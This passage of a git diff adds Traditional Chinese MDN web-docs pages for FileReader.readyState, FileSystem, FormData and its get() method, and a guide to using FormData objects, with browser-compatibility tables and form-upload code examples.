+<p>[1] 在 Gecko 2.0 beta 7 (Firefox 4.0 beta 7) 以前，所有的 {{domxref("Blob")}} 參數都屬於 {{domxref("File")}} 參數；之後為了更符合規範，所以更新了這個特徵。在 Gecko 13.0 {{geckoRelease("13.0")}} 以前，<code>FileReader.error</code> 屬性回傳了 {{domxref("FileError")}} 物件。這個介面之後被移除、而 <code>FileReader.error</code> 目前會回傳 {{domxref("DOMError")}} 並定義為 FileAPI draft。</p>
+
+<p>[2] Opera 在 11.1 <a href="http://www.opera.com/docs/specs/presto28/file/">有限度支援</a>。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/docs/Using_files_from_web_applications">在網頁應用程式中使用本地檔案</a></li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/filereader/readystate/index.html b/files/zh-tw/web/api/filereader/readystate/index.html
new file mode 100644
index 0000000000..f6ff1fa5f6
--- /dev/null
+++ b/files/zh-tw/web/api/filereader/readystate/index.html
@@ -0,0 +1,98 @@
+---
+title: FileReader.readyState
+slug: Web/API/FileReader/readyState
+translation_of: Web/API/FileReader/readyState
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>提供目前讀取狀態</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var state = <em>instanceOfFileReader</em>.readyState
+</pre>
+
+<h2 id="數值">數值</h2>
+
+<p>數字代表 {{domxref("FileReader")}} API 三個可能的狀態：</p>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","State constants")}}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">說明</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>初始化定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Firefox 手機版 (Gecko)</th>
+   <th>Android</th>
+   <th>IE 手機版</th>
+   <th>Opera 手機版</th>
+   <th>Safari 手機版</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>32</td>
+   <td>3</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="閱讀更多">閱讀更多</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/filesystem/index.html b/files/zh-tw/web/api/filesystem/index.html
new file mode 100644
index 0000000000..49b4f70b84
--- /dev/null
+++ b/files/zh-tw/web/api/filesystem/index.html
@@ -0,0 +1,118 @@
+---
+title: FileSystem
+slug: Web/API/FileSystem
+tags:
+  - 檔案系統
+translation_of: Web/API/FileSystem
+---
+<p>{{APIRef("File System API")}} {{non-standard_header}}</p>
+
+<p><strong><code>FileSystem </code></strong><code>實作文件和目錄介面，描述一個檔案系統。在任何檔案系統上，這個物件包含</code> {{domxref("FileSystemEntry.filesystem", "filesystem")}}的特性。某些網頁瀏覽器提供額外的API去創建和管理檔案系統，如Google Chrome的{{domxref("LocalFileSystem.requestFileSystem", "requestFileSystem()")}}函式。</p>
+
+<div class="note">
+<p>此介面並非標準API, 代表規格並未依造標準制定, 因此必須注意並非所有網頁瀏覽器都有實作此介面, 有實作的網頁瀏覽器可能只有實作一小部分. 請在{{anch("Browser compatibility")}} 查看更多細節.</p>
+</div>
+
+<h2 id="基礎概念">基礎概念</h2>
+
+<p>存取 <code>FileSystem</code> 物件的兩種方法:</p>
+
+<ol>
+ <li>你可以直接要求一個使用<code>window.requestFileSystem()，</code>只用在你的網頁應用程式的沙盒類型 <code>FileSystem 物件。如果要求成功，將會執行</code>callback handler去接收描述檔案系統的<code>FileSystem物件參數。</code></li>
+ <li>你可以從檔案系統接口物件取得，透過他的{{domxref("FileSystemEntry.filesystem", "filesystem")}}特性</li>
+</ol>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("FileSystem.name")}} {{ReadOnlyInline}}</dt>
+ <dd>{{domxref("USVString")}} 代表檔案系統的名稱. 此名稱在整個已宣告的檔案系統清單中是唯一的。</dd>
+ <dt>{{domxref("FileSystem.root")}} {{ReadOnlyInline}}</dt>
+ <dd> {{domxref("FileSystemDirectoryEntry")}} 物件表示檔案系統的根目錄。 透過此物件, 你可以取得權限存取所有檔案系統中的文件和目錄</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>This API has no official W3C or WHATWG specification.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoDesktop(50) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>0.16{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile(50) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Microsoft Edge 使用 <code>WebKitFileSystem 名稱實作</code>, 且只被用在 drag-and-drop scenarios 透過 {{domxref("DataTransferItem.webkitGetAsEntry()")}} 函式. 此函式不被使用在文件和目錄選擇的面板( 如當你以{{domxref("HTMLInputElement.webkitdirectory")}} 標籤使用 {{HTMLElement("input")}} 物件</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File System API</a></li>
+ <li>{{domxref("FileSystemEntry")}}, {{domxref("FileSystemFileEntry")}}, and {{domxref("FileSystemDirectoryEntry")}}</li>
+ <li>MSDN 文章: <a href="https://msdn.microsoft.com/library/mt732564">WebKitFileSystem object</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/formdata/get/index.html b/files/zh-tw/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..b234ecb551
--- /dev/null
+++ b/files/zh-tw/web/api/formdata/get/index.html
@@ -0,0 +1,145 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 的  <code><strong>get() </strong></code>方法會返回 <code>FormData 物件中，</code>指定 key 值所對應之第一組物件中的 value 值 。然而，如果您想要獲得多組以及全部的 value ，那應該使用 {{domxref("FormData.getAll()","getAll()")}} 方法。</p>
+
+<p><strong>注意</strong>:  這個方法已可以在 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a> 中使用。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre>formData.get(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">參數</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>一個 {{domxref("USVString")}} ，代表您想要得到的 value 所對應的 key 值名稱。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A {{domxref("FormDataEntryValue")}} containing the value.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>下面一行程式會產生一個空的 <code>FormData 物件：</code></p>
+
+<pre>var formData = new FormData();</pre>
+
+<p>用 {{domxref("FormData.append")}} 方法新增兩組 <code>username 值</code></p>
+
+<pre>formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p>接下來使用 <code>get() 方法，將只會返回上一步驟，第一組新增的 username 所對應的值</code></p>
+
+<pre>formData.get('username'); // Returns "Chris"</pre>
+
+<h2 id="規範">規範</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop('39.0')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop('39.0')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/formdata/index.html b/files/zh-tw/web/api/formdata/index.html
new file mode 100644
index 0000000000..4151641a6e
--- /dev/null
+++ b/files/zh-tw/web/api/formdata/index.html
@@ -0,0 +1,218 @@
+---
+title: FormData
+slug: Web/API/FormData
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><strong><code>FormData</code></strong> 介面可為表單資料中的欄位/值建立相對應的的鍵/值對（key/value）集合，之後便可使用 {{domxref("XMLHttpRequest.send()")}} 方法來送出資料。它在編碼類型設定為 <code>multipart/form-data</code> 時會採用與表單相同的格式送出。</p>
+
+<p>實作 <code>FormData</code> 的物件可以直接利用 {{jsxref("Statements/for...of", "for...of")}} 語法結構來替代 {{domxref('FormData.entries()', 'entries()')}}：<code>for (var p of myFormData)</code> 等同於 <code>for (var p of myFormData.entries())</code>。</p>
+
+<div class="note">
+<p><strong>備註：</strong>此特性適用於 <a href="/zh-TW/docs/Web/API/Web_Workers_API">Web Workers</a>。</p>
+</div>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>建立一個新的 <code>FormData</code> 物件。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append()")}}</dt>
+ <dd>追加新值到 <code>FormData</code> 物件已有的對應鍵上；若該鍵不存在，則為其追加新的鍵。</dd>
+ <dt>{{domxref("FormData.delete()")}}</dt>
+ <dd>刪除指定的鍵值對。</dd>
+ <dt>{{domxref("FormData.entries()")}}</dt>
+ <dd>回傳 {{jsxref("Iteration_protocols","iterator")}}，可用來處理物件中所有的鍵值對。</dd>
+ <dt>{{domxref("FormData.get()")}}</dt>
+ <dd>回傳指定的鍵在 <code>FormData</code> 物件中找到的第一個對應值。</dd>
+ <dt>{{domxref("FormData.getAll()")}}</dt>
+ <dd>回傳指定的鍵在 <code>FormData</code> 物件中所有對應值的陣列。</dd>
+ <dt>{{domxref("FormData.has()")}}</dt>
+ <dd>回傳 <code>FormData</code> 物件是否含有指定鍵值對的布林值。</dd>
+ <dt>{{domxref("FormData.keys()")}}</dt>
+ <dd>回傳 {{jsxref("Iteration_protocols", "iterator")}}，可用來處理物件中所有鍵值對之中的鍵。</dd>
+ <dt>{{domxref("FormData.set()")}}</dt>
+ <dd>為 <code>FormData</code> 物件已有的鍵設定新值；若該鍵不存在，則為其追加新的鍵。</dd>
+ <dt>{{domxref("FormData.values()")}}</dt>
+ <dd>回傳 {{jsxref("Iteration_protocols", "iterator")}}，可用來處理物件中所有鍵值對之中的值。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData defined in XHR spec</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(7.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>delete()</code>, <code>get()</code>, <code>getAll()</code>, <code>has()</code>, <code>set()</code></td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, and support of <code>for...of</code></td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}<sup>[1]</sup></td>
+   <td>1.0.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>delete()</code>, <code>get()</code>, <code>getAll()</code>, <code>has()</code>, <code>set()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, and support of <code>for...of</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>2.5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 在 Gecko 7.0 {{geckoRelease("7.0")}} 之前，若把 {{domxref("Blob")}} 設定為物件中的值，則 HTTP 標頭中 "Content-Disposition" 的檔案名稱會是空字串，此行為會被某些伺服器視為錯誤。Gecko 7.0 之後則會將檔名設為 "blob" 送出。</p>
+
+<p>[2] XHR in Android 4.0 sends empty content for <code>FormData</code> with <code>blob</code>.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/zh-TW/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest</a></li>
+ <li><a href="/zh-TW/docs/Web/API/FormData/Using_FormData_Objects">使用 FormData 物件</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/formdata/using_formdata_objects/index.html b/files/zh-tw/web/api/formdata/using_formdata_objects/index.html
new file mode 100644
index 0000000000..e01b15eb90
--- /dev/null
+++ b/files/zh-tw/web/api/formdata/using_formdata_objects/index.html
@@ -0,0 +1,137 @@
+---
+title: Using FormData Objects
+slug: Web/API/FormData/Using_FormData_Objects
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p class="summary">The <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> object lets you compile a set of key/value pairs to send using <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code>. It is primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's {{domxref("HTMLFormElement.submit","submit()")}} method would use to send the data if the form's encoding type were set to <code>multipart/form-data</code>.</p>
+
+<h2 id="Creating_a_FormData_object_from_scratch">Creating a FormData object from scratch</h2>
+
+<p>You can build a <code>FormData</code> object yourself, instantiating it then appending fields to it by calling its {{domxref("FormData.append","append()")}} method, like this:</p>
+
+<pre class="brush: js">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456"
+
+// HTML file input, chosen by user
+formData.append("userfile", fileInputElement.files[0]);
+
+// JavaScript file-like object
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // the body of the new file...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+</pre>
+
+<div class="note"><strong>Note:</strong> The fields "userfile" and "webmasterfile" both contain a file. The number assigned to the field "accountnum" is immediately converted into a string by the <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>FormData.append()</code></a> method (the field's value can be a {{ domxref("Blob") }}, {{ domxref("File") }}, or a string: <strong>if the value is neither a Blob nor a File, the value is converted to a string</strong>).</div>
+
+<p>This example builds a <code>FormData</code> instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the <code>XMLHttpRequest</code> method <a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()"><code>send()</code></a> to send the form's data. The field "webmasterfile" is a {{domxref("Blob")}}. A <code>Blob</code> object represents a file-like object of immutable, raw data. Blobs represent data that isn't necessarily in a JavaScript-native format. The {{ domxref("File") }} interface is based on <code>Blob</code>, inheriting blob functionality and expanding it to support files on the user's system. In order to build a <code>Blob</code> you can invoke the {{domxref("Blob.Blob","Blob() constructor")}}.</p>
+
+<h2 id="Retrieving_a_FormData_object_from_an_HTML_form">Retrieving a FormData object from an HTML form</h2>
+
+<p>To construct a <code>FormData</code> object that contains the data from an existing {{ HTMLElement("form") }}, specify that form element when creating the <code>FormData</code> object:</p>
+
+<pre class="brush: js">var formData = new FormData(someFormElement);
+</pre>
+
+<p>For example:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+</pre>
+
+<p>You can also append additional data to the <code>FormData</code> object between retrieving it from a form and sending it, like this:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);</pre>
+
+<p>This lets you augment the form's data before sending it along, to include additional information that's not necessarily user-editable.</p>
+
+<h2 id="使用_FormData_物件傳送檔案">使用 FormData 物件傳送檔案</h2>
+
+<p>You can also send files using <code>FormData</code>. Simply include an {{ HTMLElement("input") }} element of type <code>file</code> in your {{htmlelement("form")}}:</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file label:&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Stash the file!" /&gt;
+&lt;/form&gt;
+&lt;div&gt;&lt;/div&gt;
+</pre>
+
+<p>Then you can send it using code like the following:</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred when trying to upload your file.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: If you pass in a reference to the form the method specified in the form will be used over the method specified in the open() call.</p>
+</div>
+
+<p>You can also append a {{ domxref("File") }} or {{ domxref("Blob") }} directly to the {{ domxref("FormData") }} object, like this:</p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>When using the {{domxref("FormData.append","append()")}} method it is possible to use the third optional parameter to pass a filename inside the <code>Content-Disposition</code> header that is sent to the server. When no filename is specified (or the parameter isn't supported), the name "blob" is used.</p>
+
+<p>You can also use <code>FormData</code> with jQuery if you set the right options:</p>
+
+<pre class="brush: js">var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // tell jQuery not to process the data
+  contentType: false   // tell jQuery not to set contentType
+});
+</pre>
+
+<h2 id="Submitting_forms_and_uploading_files_via_AJAX_without_FormData_objects">Submitting forms and uploading files via AJAX <em>without</em> <code>FormData</code> objects</h2>
+
+<p>If you want to know how to serialize and submit a form via <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> <em>without</em> using FormData objects, please read <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/fullscreen_api/index.html b/files/zh-tw/web/api/fullscreen_api/index.html
new file mode 100644
index 0000000000..182f96c922
--- /dev/null
+++ b/files/zh-tw/web/api/fullscreen_api/index.html
@@ -0,0 +1,240 @@
+---
+title: 使用全螢幕模式
+slug: Web/API/Fullscreen_API
+translation_of: Web/API/Fullscreen_API
+---
+<p>{{DefaultAPISidebar("Fullscreen API")}}</p>
+
